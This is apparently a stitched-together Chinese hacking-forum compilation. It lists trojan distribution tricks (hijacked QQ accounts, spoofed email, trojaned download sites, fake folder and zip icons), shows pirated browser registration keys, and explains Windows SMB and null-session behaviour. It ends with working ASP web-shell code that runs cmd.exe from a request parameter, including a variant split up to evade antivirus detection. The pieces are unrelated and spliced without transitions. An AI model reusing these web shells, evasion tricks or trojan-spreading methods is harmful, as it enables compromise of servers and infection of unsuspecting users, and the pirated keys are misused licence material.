3、QQ冒名欺骗。前提:你必须先拥有一个不属于你自己的QQ号。然后使用那个号码给他的好友们发去木马程序,由于信任被盗号码的主人,他的朋友们会毫不犹豫地运行你发给他们的木马程序,结果就中招了。
4、邮件冒名欺骗。和第三种方法类似,用匿名邮件工具冒充好友或大型网站、机构单位向别人发木马附件,别人下载附件并运行的话就中木马了。
5、危险下载点。这是后面几位朋友提到的,蔬菜常用的方法:(据说他已经用这种方法得到了数千台肉鸡)攻破一些下载站点后,下载几个下载量大的软件,捆绑上木马,再悄悄放回去让别人下载,这样以后每增加一次下载次数,你就等于多了一台肉鸡。或者你干脆把木马捆绑到其它软件上,然后”正大光明”的发布到各大软件下载网站,它们也不查毒,就算查也查不出我写的新木马,然后…我就不用说了,肉机会至少两位数。
6、文件夹惯性点击。把木马文件伪装成文件夹图标后,放在一个文件夹中,然后在外面再套三四个空文件夹,很多人出于连续点击的习惯,点到那个伪装成文件夹木马时,也会收不住鼠标点下去,这样木马就成功运行了。
7、zip伪装。这个方法是最新的,将一个木马和一个损坏的zip包(可自制)捆绑在一起,然后指定捆绑后的文件为zip图标,这样一来,除非别人看了他的后缀,否则点下去将和一般损坏的zip没什么两样,根本不知道其实已经有木马在悄悄运行了。
8、在某个公文包或者可以上传附件的论坛传上捆绑好的木马,然后把链接发给受害者。
9、网页木马法。
真正拒绝POPUP广告窗口,.切换标签无闪烁,放松你的双眼!.超强的搜索Bar可以同时在几十个搜索引擎寻找你要的东西!方便的高亮显示让你更方便!支持高亮显示字词、查找…….语音精灵让你冲浪更Q~,放松眼睛听网页吧!.office XP的界面让你的眼睛感受更COOL!.极少的内存使用,超低的CPU占用率!.好处太多了,说不过来,更多的你自己来体会吧! 该版是1.27的加强版。在1.27的基础上增加了:1、匿名冲浪——代理服务器;2、点击地址栏选择全部 URL;3、搜索快捷键 CTRL + SHIFT + S;4、高亮显示关键字快捷键 CTRL + M。改进了弹出菜单标签等。
简体中文版
同时也是5头牛工具。用过不少浏览器,这个最符合专业高手用。
注册码
用户名:logroll 注册码:295416435575
Guhong 291625486646
本来想为了增加可读性,把这个系列写成问答的形式,不过一时之间脑袋里也编不出这么多的问题,还是按部就班先感性的对微软的浏览服务作一大致介绍,然后再深入剖析NETBIOS的具体工作机理,大家要是有什么问题,可以提出来我们一起讨论.
***微软网络浏览过程简介***
在“Windows NT系统管理技术内幕”一书中,讲到了一个非常具有代表性的问题,我把它摘抄了下来:
问:什么情况下会导致在网络邻居中计算机能看见却无法访问或可以访问却看不见?
请选择最佳答案:
A.你的网络存在物理问题,比如网线
B.作为域主浏览器的Windows NTserver的浏览服务坏了
C.Windows NTserver网卡有问题
D.你的网络没有问题,用户描述的是正常的微软浏览现象
正确答案 D
书上的解释:微软的网络浏览可能在使用中出现”中断”,而实际上它们并没有中断, 这种误解是由于用户对微软网络浏览的处理过程不熟悉造成的。
就象同学们经常在抱怨的“为什么别人的网上邻居可用,我的却不行?”“为什么有时候可以浏览,有时候却无法浏览网络?”解铃还须系铃人,让我们一起去看看微软的网络浏览到底是如何实现的。鉴于大家可能对NT的“域”概念还不甚了解,出现浏览故障的也多为98的机子,我将以98的“工作组模式”为大家讲解。
1.什么是浏览列表(Browsing List)
在微软网络中,用户可以在浏览列表里看到整个网络(何指?子网还是广播域?大家可以考虑考虑)上所有的计算机。当你通过网上邻居窗口打开整个网络时,你将看到一个工作组列表,再打开某个工作组,你将看到里面的计算机列表(也可在 DOS方式下用net view /domain:workgroupname命令得到),这就是我们所说的 Browsing List。工作组从本质上说就是共享一个浏览列表的一组计算机,所有的工作组之间都是对等的,没有规定不可以让所有的计算机同处于一个工作组中。
2.浏览列表在哪里
曾在木棉上看到过一场争论,有人说:网上邻居里的计算机列表是广播查询得来的。可有人举反例说:我的同学都关机了,可我还是能在网上邻居里看到它,应该是从HUB或交换机之类较为固定的设备的缓存中取得的。 其实他们都只说对了一个方面,把他们二人的说法结合起来就是正确答案了— 浏览列表是通过广播查询浏览主控服务器,由浏览主控服务器提供的。
3.浏览主控服务器又是什么
浏览主控服务器是工作组中的一台最为重要的计算机,它负责维护本工作组中的浏览列表及指定其他工作组的主控服务器列表,为本工作组的其他计算机和其他来访本工作组的计算机提供浏览服务,每个工作组都为会每个传输协议选择一个浏览主控服务器,而我们经常遇到的无法浏览网络的错误大多是因为你所处的工作组没有浏览主控服务器而造成的。你可以在一个工作组中用NBTSTAT -a computername 命令找出使用NBT协议的浏览主控服务器,它的标识是含有\\_MSBROWSE_名字段。
4.浏览主控服务器是如何指定的
缺省情况下,win98工作组中的浏览主控服务器是该工作组中第一台启用文件及打印机共享功能的计算机,也允许手工将一台win计算机配置为浏览主控服务器(方法会在后面讲述网络配置时具体介绍,但由于浏览主控服务器需要维护动态浏览列表,性能会受影响),如果一个工作组中有多台计算机配置了这个选项,或是当前的浏览主控服务器关闭了系统,又没有其他计算机启用主控设置时,就要进行主控浏览器的选举。
5.如何通过浏览器选举产生浏览主控服务器
关于浏览器的选举报文,不太好抓包,我就只好按书上的东西来讲述了.其实过程很简单,首先由一台计算机发送一个选举临界报文,该报文包含了来自发送计算机的信息(操作系统,版本及NET名等),选举报文向网络中广播,工作组中的每一台计算机都会用自身信息与选举报文进行优先级比较,主要是操作系统起主要作用,记得好像是NT Server>NT Workstation>Win98>WFWG,反正到最后是那个自身条件最好的成为新的浏览主控服务器.
6.整个网络浏览的过程是怎样的
当一台win98进入网络时,如果它带有服务器服务(启用了文件及打印机共享)会向网络广播宣告自己的存在,而浏览主控服务器会取得这个宣告并将它放入自己维护的浏览列表中;而没有在相应协议上绑定文件及打印机共享的计算机则不会宣告,因而也就不会出现在网络邻居里了。
当客户计算机想获得需要的网络资源列表时,首先会广播发出浏览请求,浏览主控服务器收到请求后,如果请求的是本组的浏览列表,则直接将客户所需的资源列表发回;如果请求的是其它工作组的浏览列表,浏览主控服务器会根据本身Browsing List中的记录找到相应工作组的主控浏览器返回给用户,用户可从那里得到它想要的浏览列表。至于如何去和另一台计算机共享交换资源,就不是我们这里要讨论的问题了。
明白了网络浏览的原理,下面我给大家讲一个有用的应用,现在很多同学出于安全的考虑都不太欢迎陌生人通过网上邻居访问自己的机子,可有时下部电影又需要给认识的同学共享出来,因而还不能删除文件及打印机共享服务。怎么办?有些人给共享名加个$,以达到隐藏的效果,可这用DOS下的net share是可被看到的;有些人给共享加上密码,可听说这也是有办法破解的,而且很容易激起“黑客同志”的好奇心。有没有办法将自己的机器在网络邻居里隐藏起来呢?而对于认识的同学可以让他用\\IP 来访问。
想对了,关键就是要阻止自己的机器向网络中去宣告自己,而且我知道我们其中的一些人已经将此变成了现实,至于方法嘛,就不要来问我了。
注:因为有关win98浏览服务的资料很少,涉及的书籍也多为以NT的“域”模型进行介绍,因而我只能根据自己的理解结合netxray的实践来测试,细节部分难免有错,欢迎大家指正。
7.在我的网上邻居里为什么有些机子访问不了
如果微软的网上邻居真能做到所见即所得,相信抱怨它的人不会象现在这么多,可通过前面对浏览服务的介绍,大家已经知道这是不可能的,因为浏览列表的获得不是通过访问其中每一台机子得到的,很多时候网络中的计算机并不能正确更新浏览列表。当一台计算机正常关机时,它会向网络发出广播宣告,使浏览主控服务器及时将它从浏览列表中删除;而非正常关机后,浏览列表里仍会把该条目保持很长一段时间(NT下是45分钟),这就是我们仍能在网络邻居里看到它的原因.而98的稳定性是众所周知的 —-在还没来得及关机前就已经崩溃了^-^
SMB(Server Message Block)协议在NT/2000中用来作文件共享,在NT中,SMB运行于NBT(NetBIOS over TCP/IP)上,使用137,139(UDP),139(TCP)端口。
在2000中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。可以在“网络连接/属性/TCPIP协议/属性/高级/WINS中设置启用或者禁用NBT(NetBIOS over TCP/IP)。
当2000使用网络共享的时候,就面临着选择139或者445端口了。下面的情况确定会话使用的端口:
1、如果客户端启用了NBT,那么连接的时候将同时访问139和445端口,如果从445端口得到回应,那么客户端将发送RST到139端口,终止这个端口的连接,接着就从445端口进行SMB的会话了;如果没有从445端口而是从139得到回应,那么就从139端口进行会话;如果没有得到任何回应,那么SMB会话失败。
2、如果客户端禁用了NBT,他就将只从445端口进行连接。当然如果服务器(开共享端)没有445端口进行SMB会话的话,那么就会访问失败了,所以禁用445端口后,对访问NT机器的共享会失败。
3、如果服务器端启用NBT,那么就同时监听UDP 137、138端口和TCP139,445。如果禁用NBT,那么就只监听445端口了。
所以对于2000来说,共享问题就不仅仅是139端口,445端口同样能够完成。
关于空会话
NULL会话(空会话)使用端口也同样遵循上面的规则。NULL会话是同服务器建立的无信任支持的会话。一个会话包含用户的认证信息,而NULL会话是没有用户的认证信息,也就好比是一个匿名的一样。
没有认证就不可能为系统建立安全通道,而建立安全通道也是双重的,第一,就是建立身份标志,第二就是建立一个临时会话密匙,双方才能用这个会话进行加密数据交换(比如RPC和COM的认证等级是PKT_PRIVACY)。不管是经过NTLM还是经过Kerberos认证的票据,终究是为会话创建一个包含用户信息的令牌。(这段来自Joe Finamore)
根据WIN2000的访问控制模型,对于空会话同样需要提供一个令牌。但是空会话由于是没有经过认证的会话,所以令牌中不包含用户信息,因此,建立会话双方没有密匙的交换,这也不能让系统间发送加密信息。这并不表示空会话的令牌中不包含SID,对于一个空会话,LSA提供的令牌的SID是S-1-5-7,这就是空会话建立的SID,用户名是ANONYMOUS LOGON。这个用户名是可以在用户列表中看到的。但是是不能在SAM数据库中找到,属于系统内置的帐号。
(关于这部分对NULL SESSION的分析,可以参照:《NULL Sessions In NT/2000》http://rr.sans.org/win/null.php)
NULL会话几乎成为了微软自己安置的后门,但是微软为什么要来设置这样一个“后门”呢?我也一直在想这个问题,如果NULL会话没有什么重要的用途,那么微软也应该不会来设置这样一个东西。好不容易才在微软上找到这个:
当在多域环境中,要在多域中建立信任关系,首先需要找到域中的PDC来通过安全通道的密码验证,使用空会话能够非常容易地找到PDC,还有就是关于一些系统服务的问题。而且LMHOSTS的#Include就需要空会话的支持,可以参考文章:
http://support.microsoft.com/default.aspx?…b;EN-US;q121281
还有
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q124184
其实建立一个空会话的条件也非常严格。首先要能够满足上面的,也就是打开TCP 139和TCP 445端口。我们可以从一次关闭这两个端口的情况中看得出来。服务器关闭445和139端口,然后我们来进行空会话的连接。首先,客户端打算连接的是445端口,然后再试图连接139端口。当然最后还是失败了。
仅仅开放这两个端口还不行,服务器还必须得打开IPC$共享。如果没有IPC共享,即使共享一个文件,有权限为Anonymous Logon,也不能建立会话,即使权限设置为完全控制,出现的连接错误依然是权限不够。这和其他帐号是不一样的。如果要允许一个文件夹共享能够类似IPC$(命名管道而非共享)能够使用空会话,那么需要修改注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\
中的:NullSessionShares,添加新的共享名,这样才能建立一个共享的空会话。这时,将不依赖IPC的存在了。(即使这样的空会话对于后面的突破也是一点没可取之处的,因为没有了IPC$命名管道,RPC不可取了,这下知道IPC这个命名管道的具体实现了。呵呵)
虽然空会话建立的要求很严格,但是那都是默认建立的。既然是默认的,对于使用WIN2K系统的服务器来说,就还是有利用的价值。最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。
1. 有些人给共享名加个$,以达到隐藏的效果,可这用DOS下的net share是可被看到的;
这种隐藏只是微软Windows标准客户端net view的限制,不是服务端的限制,网络传输过程中是一视同仁的,所以直接修改客户端解除这种限制或者使用第三方客户端软件均可看到所谓的隐藏共享,比如smbclient就是典型代表。而直接修改windows客户端的办法,99年袁哥贴过,我在华中Security版上转载过,精华区中还在。
2. 有些人给共享加上密码,可听说这也是有办法破解的;
这个破解要看是什么层面上的,纯暴力破解的就不必说了,那当然总是可以的。而95/98另有漏洞,袁哥发现的,就是他那个著名的vredir.vxd,服务端验证密码时所用长度居然是客户端提供的,这就意味着至多猜测256次(事实上没这么多,考虑可打印字符范围)即可进入。当初N多人用这种办法非法浏览别人的机器。2000年报告微软,现在已修补。
http://security.nsfocus.net/index.php?act=…o=view&adv_id=6
顺便说一句,利用该漏洞可以快速穷举出原始口令,虽然在攻击中这是不必要的。因而我只能根据自己的理解结合netxray的实践来测试,细节部分难免有错,
推荐www.ethereal.com提供的Ethereal,这是我所见过的对SMB解码最强的免费软件,有Unix/Windows版,提供源码。
3. 在2000中,SMB可以直接运行在tcp/ip上,而没有额外的NBT层,使用TCP 445端口。因此在2000上应该比NT稍微变化多一些。
事实上正相反,在ssaxh_capabilities字段中指明不使用”扩展安全验证”,此时使用原有身份验证机制,只需去掉NBT层的Session Request,将139/TCP改成445/TCP,一样可以成功建立空会话,并且成功打开”\\<target ip>\IPC$”。
至于更高层的RPC Over SMB,更是不必作任何变动。换句话说,从139/TCP换到445/TCP,整个通信过程中减少了一对NBT Session Request/Response,后面的报文对于两者来说是完全一致的。
而所谓的NBT层,即使在445通信中也未去掉,一直存在着,区别只是上面这段话。
4. 如果客户端启用了NBT,那么连接的时候将同时访问139和445端口,
微软并没有让139/TCP与445/TCP公平竞争。发起连接的SYN包在宏观上是同时发出的,具体起来,有时是先向139/TCP发起连接请求,有时是先向445/TCP发起连接请求,有点随机性。
在向139/TCP发送三次握手的最后一个ACK报文时,Windows顺手携带了数据,这里以一个刻意弄错的NetBIOS名(*SMBSERV<00…(8)>)做了一次NBT Session Request。而445/TCP不需要NBT层的会话。
由于刻意弄错的NetBIOS名,139/TCP很难竞争过445/TCP。服务端返回Negative NBT Session Response,并且执行了close()操作。这使得必须重新建立到139/TCP的连接(传输层的TCP连接)。
可以看出,那个刻意弄错的NetBIOS名仅仅是为了给445/TCP制造抢先的机会。遗憾的是,445/TCP不争气,这个端口上的任务繁重、负载较高,即使在这种不公平竞争的情况下,139/TCP仍有可能重新抢在445/TCP之前建立NBT会话(注意,不是TCP连接)。于是445口会回送RST,后续SMB会话建立在139/TCP连接之上。
微软自己的操作系统不认”*SMBSERV<00…(8)>”,但是Samba Server 2.2.5认,居然返回Positive Session Response。这成为精确识别Samba Server的方法之一。
微软在<<Direct Hosting of SMB Over TCP/IP>>中不会提这些的,只是说139/TCP、445/TCP公平竞争,优先使用最早返回的响应报文。不要相信它的鬼话。
话说回来,如非需求所致,完全不必关心这种差别。有需求的时候,这种差别是致命的。
5. 最明显的就是空会话可以很方便地连接到其他的域,枚举用户、机器等。这也就是扫描软件进行探测的原理。
XP、2003缺省禁止在空会话上进行PolicyAccountDomainInformation查询,可以看到LsarOpenPolicy2(44)失败,权限否定。如果事先指定有效帐号、口令建立SMB会话,而非空会话,LsarOpenPolicy2(44)将成功返回。
| 这里的asp后门不指像那些一句话木马、砍客、冰狐之类的b/s型的,只指像cmd.asp或2005a.asp的。 第一个,来看zzzeva免fso的cmd.asp 代码如下:<form method=”post”> <input type=text name=”cmd” size=60> <input type=submit value=”run”></form> <textarea readonly cols=80 rows=20> <%response.write server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request.form(“cmd”)).stdout.readall%> </textarea> 是不是觉得有点长了?在注入时写有点不好写。那来改一下。 第二个,更改zzzeva免fso的cmd.asp 代码如下: <textarea readonly cols=80 rows=20> <%response.write server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“cmd”)).stdout.readall%> 用法是xx.asp?cmd=net user 这样是为了得到结果排得方便,其实如果不为美观,还可以更短,那来第三个 第三个,缩短的cmd.asp <%response.write server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“cmd”)).stdout.readall%> 这里用了response.write,变量用了cmd。为什么不更短呢? 当然,classid值在不同系统下有所不同。这个要自行更改 第六个,被一些杀asp木马的软件检测出来怎么办?
<%=server.createobject(“ws”&”cript.shell”).exec(“c”&”md.exe /c “&request(“c”)).stdout.readall%> 第7个,cmd.exe不让调用怎么办? |